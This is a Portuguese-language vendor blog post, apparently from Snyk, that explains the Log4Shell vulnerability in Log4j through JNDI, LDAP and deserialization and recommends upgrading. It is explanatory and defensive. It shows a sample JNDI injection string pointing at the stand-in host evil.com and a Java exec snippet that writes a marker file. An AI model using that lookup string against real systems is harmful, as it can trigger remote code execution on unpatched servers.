Log4Shell em poucas palavras (para quem não desenvolve e para quem não desenvolve em Java)

Escrito por

15 de dezembro de 2021

0 minutos de leitura

Nota da edição (28 de dezembro de 2021, às 19h35 GMT): A equipe do Log4j lançou uma nova atualização de segurança, que identificou a versão 2.17.0 como vulnerável à execução remota de código, conforme a CVE-2021-44832. Recomendamos atualizar para a versão mais recente, que no momento é a 2.17.1.

Nota da edição (18 de dezembro de 2021, às 18h55 GMT): A situação do Log4j está mudando rapidamente, e estamos atualizando nossos blogs à medida que novas informações ficam disponíveis. Recomendamos atualizar para a versão 2.17.1 ou posterior. Essa versão contém correções de segurança para duas vulnerabilidades de execução remota de código, corrigidas nas versões 2.15.0 (CVE-2021-44228) e 2.16.0 (CVE-2021-45046), além da vulnerabilidade de DoS mais recente, corrigida na versão 2.17.1 (CVE-2021-45105). Saiba mais aqui.

Se você trabalha com tecnologia, provavelmente já ouviu falar do exploit Log4Shell, que está dominando a internet. Se você não desenvolve em Java (ou não é desenvolvedor), talvez esteja se perguntando o que está acontecendo.

Este post está dividido em duas partes: uma explicação do Log4Shell para quem não desenvolve e uma visão geral da vulnerabilidade Log4Shell para quem não desenvolve em Java.

Visão geral do Log4Shell para quem não desenvolve

Você sabe que, ao acessar um site pelo navegador, vê as imagens dessa página? O que talvez não saiba é que o navegador segue duas etapas para exibir uma imagem. Primeiro, ele carrega a página HTML, como: https://snyk.io. Nessa página HTML, há referências a imagens, como:

1<img 
2    src="https://snyk.io/wp-content/themes/snyk_v2_etyhadar/dist/images/snyk-logo-patch-new.svg" 
3    alt="Snyk|Open Source Security Platform" 
4    class="home__logo"
5>

Em seguida, o navegador faz uma nova solicitação para carregar a imagem.

As ferramentas de desenvolvedor do navegador destacam o código-fonte da imagem do logotipo do site da Snyk em uma resposta HTML, enquanto o título da página diz: “Desenvolva rápido. Mantenha a segurança.”

O que isso tem a ver com o exploit Log4Shell?

Log4j é uma biblioteca Java amplamente usada para gravar informações em arquivos de log. Normalmente, são informações sobre o horário de determinados eventos ou mensagens de erro quando algo dá errado.

Há outra tecnologia Java que pode referenciar URLs remotas — mais ou menos como o navegador busca URLs de imagens. O Log4j pode ser enganado para buscar um recurso em uma URL remota. Só que não é uma imagem: é outro trecho de código Java compilado.

Esse código Java compilado pode fazer todo tipo de coisa maliciosa, inclusive executar outros programas na máquina-alvo. Isso é chamado de vulnerabilidade de execução remota de código (RCE) e é o tipo mais grave de vulnerabilidade.

Continue lendo se quiser entender como funciona o exploit Log4Shell. Ou pule para o final para ver recursos sobre como ajudar a detectar e corrigir o Log4Shell.

Entenda o Log4Shell a fundo: para desenvolvedores

Vamos falar do mecanismo interno do Java que torna esse exploit tão grave. Vamos entrar em detalhes, então fique à vontade para pular para a seção sobre como apoiar sua organização na resposta ao Log4Shell.

Os fundamentos do Log4Shell existem desde pelo menos 2016! Aqui está um link para uma apresentação na conferência Blackhat sobre execução remota de código em Java. O mais surpreendente é que dois dos três componentes do Log4Shell já são mencionados nessa apresentação. A seguir, veremos esses componentes e como se combinam para fazer o Log4Shell funcionar.

Conheça os blocos que compõem o Log4Shell

Eu avisei que entraríamos em detalhes nesta seção!

Muitas das características que tornam Java excelente (e às vezes confuso para quem está começando) são as “camadas de abstração”. Por exemplo, um desenvolvedor pode escrever código que se comunica com um banco de dados sem ficar preso ao servidor de banco de dados de um fornecedor específico. Assim, durante os testes locais, posso usar MySQL, mas, quando o sistema vai para produção, minha empresa usa PostgreSQL. Não preciso mudar nenhuma linha de código por causa da camada de abstração do banco de dados.

As “Páginas Amarelas” do Java: JNDI

A Java Naming and Directory Interface (JNDI) é uma camada de abstração que permite ao código Java interagir com vários tipos de diretórios. Por exemplo, o Domain Name System (DNS) é um tipo de diretório que permite consultar nomes de domínio. O Lightweight Directory Access Protocol (LDAP) é usado por servidores de diretório para fornecer informações sobre organizações, pessoas e outros recursos, como dispositivos em uma rede (é a base do Microsoft Active Directory).

LDAP não serve apenas para texto

Além de informações em texto, o LDAP pode armazenar objetos Java serializados.

Objetos Java serializados são representações poderosas (e potencialmente perigosas) de código Java. Resumindo, é como se o código fosse congelado para ser armazenado e descongelado depois. Isso tem muitos usos legítimos, mas, neste caso, faz parte do mecanismo que permite o funcionamento do Log4Shell. Guarde essa informação por enquanto. Tudo fará sentido em breve.

Como JNDI, LDAP e Log4J se combinam para causar problemas

Até pouco tempo atrás, o Log4J permitia referências JNDI e as resolvia automaticamente em nome da aplicação. Independentemente de haver um uso legítimo para esse mecanismo, a versão mais recente do Log4J (2.16.0 no momento em que este texto foi escrito) removeu completamente esse recurso. Isso significa que, se você atualizar sua versão do Log4J para 2.16.0, estará protegido contra o exploit Log4Shell.

Como tudo isso funciona em conjunto? Imagine uma mensagem de log como esta:

1logger.error("Output:" + "${jndi:ldap://evil.com:9999/Evil}");

Não se preocupe se esse código não parece familiar. Veja os pontos importantes:

Versões antigas do Log4J pegavam a string: ${jndi:ldap://evil.com:9999/Evil} e a interpretavam como uma referência JNDI LDAP — neste caso, para um servidor malicioso.
A pilha JNDI do Java faz uma solicitação LDAP para evil.com e consulta /Evil
O servidor LDAP de Evil.com cria uma resposta que inclui uma referência remota a um objeto Java serializado. Algo como: http://evil.com:8000/Evil.class
Isso dispara outra solicitação ao servidor HTTP de evil.com — como quando seu navegador busca uma imagem. O arquivo Evil.class é obtido como um payload binário, que depois é convertido em um objeto Java por meio do processo de desserialização.
Em seguida, o objeto Java reconstruído é executado. É nesse momento que qualquer código pode ser executado na máquina da vítima.

Para reforçar esse último ponto, veja este exemplo de código:

1String[] cmd = {
2"/bin/sh",
3"-c",
4"echo PWNED > /tmp/pwned"
5};
6Runtime.getRuntime().exec(cmd);

Mais uma vez, não se preocupe se o código não for familiar. O importante é que a chamada exec em Java executa um comando _fora_do Java. Neste caso, ela grava em um arquivo em um diretório temporário. Mas poderia ser um comando para apagar todo o disco rígido ou enviar um arquivo confidencial para outro endpoint malicioso.

Que explicação estaria completa sem um diagrama malfeito? Veja o Log4Shell em poucas palavras:

Diagrama que explica o Log4Shell: o logger Log4J vulnerável do MyApp envia uma solicitação JNDI LDAP para evil.com, recupera e desserializa Evil.class.

Mesmo que você não entenda completamente o que está acontecendo aqui, dá para ver que essa mensagem de log aparentemente inofensiva dispara uma quantidade considerável de atividade na rede!

Saia do zero e vire especialista em Log4Shell

Uma maneira fácil de proteger seus sistemas é verificá-los com o Snyk. O Snyk pode encontrar o Log4Shell e criar automaticamente PRs com correções. Com o monitoramento ativado, o Snyk também avisa quando suas dependências (e as dependências delas) são atualizadas e seguras para uso. Crie hoje sua conta gratuita no Snyk.

Também reunimos uma lista de ótimos recursos para ajudar sua empresa a lidar com o exploit Log4Shell.

Quer saber ainda mais sobre o Log4Shell? Confira estes recursos: